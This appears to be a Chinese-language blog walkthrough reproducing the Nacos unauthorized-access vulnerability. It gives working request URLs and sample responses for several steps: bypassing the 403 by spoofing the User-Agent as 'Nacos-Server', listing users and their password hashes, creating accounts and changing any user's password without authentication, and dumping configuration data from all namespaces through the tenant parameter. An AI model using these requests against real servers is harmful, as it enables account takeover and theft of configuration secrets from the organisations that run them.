Nacos未授权复现
Nacos入口
ip:端口/nacos
www.test.com:8848/nacos

未授权查看用户列表
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
直接get方式访问该路径会403,
将user-agent头修改为Nacos-Server即可绕过403。

有些可以直接访问,有些需要改UA头
此时看到响应包中包含了系统存在的用户名nacos,密码为加盐之后的值。
未授权创建或修改用户
GET方法
http://192.168.1.1:8848/nacos/v1/auth/users?username=test111&password=test111
{"code":200,"message":null,"data":"create user ok!"}
============================================================
POST方法
访问 http://ip:8848/nacos/v1/auth/users
POST传参:username=abcabc&password=abcabc
如果出现403,别忘了修改User-Agent头为Nacos-Server
发送POST请求
{"code": 200,"message": null,"data": "create user ok!"}
返回响应200,创建用户成功
回显caused: Parameter conditions
caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%
缺少search=blur或者search=accurate
那就试一下下面这个两个
http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
-H 'User-Agent: Nacos-Server'
http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate
-H 'User-Agent: Nacos-Server'
任意用户密码更改
http://192.168.1.1:8848/nacos/v1/auth/users?accessToken=
-H 'User-Agent:Nacos-Server'
username=test111&newPassword=test222
未开启auth
由于默认是不开auth的,所以我们先来讨论未开启auth的情况。
读取用户账号密码
http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
未授权添加用户
http://192.168.1.1:8848/nacos/v1/auth/users?username=test1&password=test1
{"code":200,"message":null,"data":"create user ok!"}
任意用户密码更改
http://192.168.1.1:8848/nacos/v1/auth/users?accessToken=
-H 'User-Agent:Nacos-Server'
-d 'username=test1&newPassword=test2'
获取配置数据
需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。
http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos
够获取全部的配置文件
http://192.168.1.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
http://192.168.1.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99

但这里有个问题,这只能获取默认命名空间public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。

获取其他Namespace的配置数据
http://192.168.1.1:8848/nacos/v1/console/namespaces
直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间

这时已经拿到了namespace、namespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespce,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据
http://192.168.1.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace

查看现在存在几个用户
访问http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
http://ip:8848:指明了要请求的目标IP地址和端口号;
/nacos/v1/auth/users:指明了要访问的Nacos API接口路径;
pageNo=1&pageSize=9:指定了分页查询条件。
pageNo:表示需要返回的页码,从 1 开始计数。例如,如果想要返回第 2 页的数据,则将 pageNo 设置为 2。
pageSize:表示每一页的数据条数。例如,如果想要每页返回 20 条数据,则将 pageSize 设置为 20。
OK,
刚刚创建的abcabc用户已经存在了。
更多方法
https://blog.csdn.net/m0_73353130/article/details/131786333
评论区